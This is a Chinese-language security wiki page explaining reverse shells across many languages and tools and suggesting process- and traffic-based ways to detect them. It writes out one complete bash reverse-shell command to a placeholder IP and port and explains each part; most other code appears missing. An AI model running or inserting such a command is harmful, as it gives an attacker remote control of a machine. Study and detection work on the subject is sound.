🏴󠁧󠁢󠁳󠁣󠁴󠁿反弹SHell原理与检测思路

反弹Shell及检测

bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

进程的 0 1 2 输入输出重定向到远程socket,由socket中获取输入,重定向标准输出(1)和错误输出(2)到socket。

  • bash -i

    • bash是Linux较为常见的Shell,除此还有zsh、sh、ksh等,之间有着细小差别

    • -i 参数表示产生交互式的Shell

  • >&

    • 混合输出,将正确、错误都输出到一个地方,避免受害者机器上能看到在攻击者机器中执行的指令。

  • /dev/tcp/ip/port

    • Linux下一切皆文件,可以看成是一个设备文件,这个文件进行读写,就能实现与监听端口的服务器Socket通信。

  • 0>&1

    • 0表示输入,就将Attack输入,然后命令执行的结果为1,也会输出给攻击者,就形成了一个回路,实现了远程交互式Shell

检测方案:

使用lsof检测,如果出现了0 1 2 文件描述符的重定位,则存在反弹shell的风险。

www、www-data、apache、nginx等这类用户,一般Bash进程不会连接远程地址。

流量层面会检测相关的关键字,例如:匹配uid=0(root) gid等相关关键字,整个通信流量都是明文。

反弹Shell最主要是进程检测、流量检测。

反弹Shell的多种形式

  • 0<&196

    • 文件描符196指向的内容重定向到标准输入,从TCP连接获取标准输入

  • exec 196<>/dev/tcp/ip/port

    • exec重定向以读写方式打开该TCP连接,使用196文件描述符指向它

  • sh <&196 >&196 2>&196

    • 将输出、错误重定向到sh。

Bash UDP

Socat

Socat 是 Linux 下的一个多功能的网络工具,名字来由是 「Socket CAT」。其功能与有瑞士军刀之称的 Netcat 类似,可以看作是 Netcat 的加强版

Socat 的主要特点就是在两个数据流之间建立通道,且支持众多协议和链接方式。如 IP、TCP、 UDP、IPv6、PIPE、EXEC、System、Open、Proxy、Openssl、Socket等。

Socat运行有4个阶段:

1. 初始化阶段:将解析命令行并初始化日志系统。

2. 打开阶段:Socat打开第一个地址连接,然后打开第二个地址连接。如果第一个连接失败,则会直接退出。

3. 传输阶段:Socat通过CWselect()监视,当数据在一侧可用并且可以写到另一侧时,socat读取它,并在需要时执行换行符转换,然后写入将该数据保存到另一个流的写入文件描述符中,然后继续等待双向的更多数据。

4. 关闭阶段:其中一个连接掉开,执行处理另外一个连接。

前置条件,安装socat

检测思路:

Perl

Perl一种功能丰富的计算机程序语言,运行在超过100种计算机平台上,适用广泛,从大型机到便携设备,从快速原型创建到大规模可扩展开发。

无需安装,很多系统平台上已经默认安装了perl,有一些WebShell大马中会集成Perl反弹Shell这也是最常见反弹手法之一。

第二种方式不依赖于/bin/sh的Shell

不管通过什么语言执行反弹的Shell,本质是把bash/zsh等进程的 0 1 2 输入输出重定向到远程socket

Python

通过socket建立连接,使用os的subprocess在本地开启一个子进程,启动bash交互模式,标准输入、标准输出、标准错误输出被重定向远程

方法二:

os.dup2() 方法用于将一个文件描述符 fd 复制到另一个 fd2。

使用duo2方法将第二个形参(文件描述符)指向第一个形参(socket链接),如果是Python3只需要修改为python3即可。

检测方法:

Ruby

Ruby,一种简单快捷的面向对象(面向对象程序设计)脚本语言。通过Socket建立TCP连接,并把sh重定向至远程。

前置条件

  • 默认没有提供,需要自行安装Ruby

  • 需要高版本Ruby 2.6

Golang

Go语言标准库里提供的net包,支持基于IP层、TCP/UDP层及更高层面(如HTTP、FTP、SMTP)的网络操作,其中用于IP层的称为Raw Socket。

net包的Dial()函数用于创建网络连接,函数原型如下:

其中net参数是网络协议的名字,addr参数是IP地址或域名;如果连接成功,返回连接对象,否则返回error,目前Dial()函数支持如下几种网络协议:"tcp"、"udp"、"ip"、"ip6"

  • 通过net.Dial创建TCP Socket连接,成功反回对象,否则返回Error.

  • os/exec中用到了Stdin,Stdout,Stderr,将/bin/sh重定向到远程

  • 将内容输出t.go文件中并运行go源文件。

前置条件

PHP

fsockopen — 打开一个网络连接或者一个Unix套接字连接,exec用于执行命令、proc_open执行一个命令,并且打开用来输入/输出的文件指针。

方法二:

前置条件

检测思路:

需要定位socket和pipe的数据传递过程。

反弹shell的本质可以定义为:一个client上的bash进程 可以和 server上的进程通信。

而反弹shell的检测,本质上就是检测 shell进程(如bash)的输入输出是否来自于一个远程的server。

由于进程通信的复杂性(例如pipe),会导致单纯的检测shell进程的0 1 2 是否来自socket会存在漏报。但是按照这个思路,检测shell进程的0 1 2 的来源,顺着来源继续跟踪,如果最终是来自一个socket。那么则存在反弹shell的风险。

Netcat OpenBsd

Netcat OpenBsd使用场景,当各个linux发行版本已经自带了netcat工具包,但是可能由于出于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e这里都被阉割了。

mkfifo 命令的作用是创建FIFO特殊文件,通常也称为命名管道,FIFO文件在磁盘上没有数据块,仅用来标识内核中的一条通道,各进程可以打开FIFO文件进行read/write,实际上是在读写内核通道(根本原因在于FIFO文件结构体所指向的read、write函数和常规文件不一样),这样就实现了进程间通信。

  • mkfifo:创建一个管道

  • cat /tmp/f:将管道里面的内容输出传递给/bin/sh

  • /bin/sh -i 2>&1:sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路

Ncat

nc和ncat的区别:只是采用不同的选项并具有不同的功能。

OpenSSL

常用的nc反弹流量都没有经过加密,容易被发现,使用 OpenSSL 生成证书自签名证书,通过mkfifo创建一个管道将管道里面的内容输出传递给/bin/sh

AWK

Lua

Lua Socket 是 Lua 的网络模块库,它可以很方便地提供 TCP、UDP、DNS、FTP、HTTP、SMTP、MIME 等多种网络协议的访问操作。通过socket模块建立连接,os模执行命令将/bin/sh重定向远程

前置条件

NodeJS

除了在服务器上进行反弹,有些网站存在Nodejs远程调试漏洞也可以使用反弹Shell。

前置条件

JAVA

前置条件

Cpan

cpan 命令是用于与Perl下的CPAN模块进行交互的一个命令行工具。

前置条件

gdb

gdb是Linux下调试命令

easy_install

easy_install 是一个基于setuptools的工具,帮助我们自动下载、编译、安装和管理python packages.

IRB

irb是一个交互式的Ruby界面。可以通过irb来调试、运行和实验Ruby代码。

前置条件

ruby环境

JJS

Nashorn 一个 javascript 引擎。 从JDK 1.8开始,Nashorn取代Rhino(JDK 1.6, JDK1.7)成为Java的嵌入式JavaScript引擎。Nashorn完全支持ECMAScript 5.1规范以及一些扩展。

前置条件

JDK

jrunscript

前置条件

JDK

ksh

前置条件

Meterpreter Shell

方法二,能够避归:

二进制

ShellCode内存型反弹

Last updated

Was this helpful?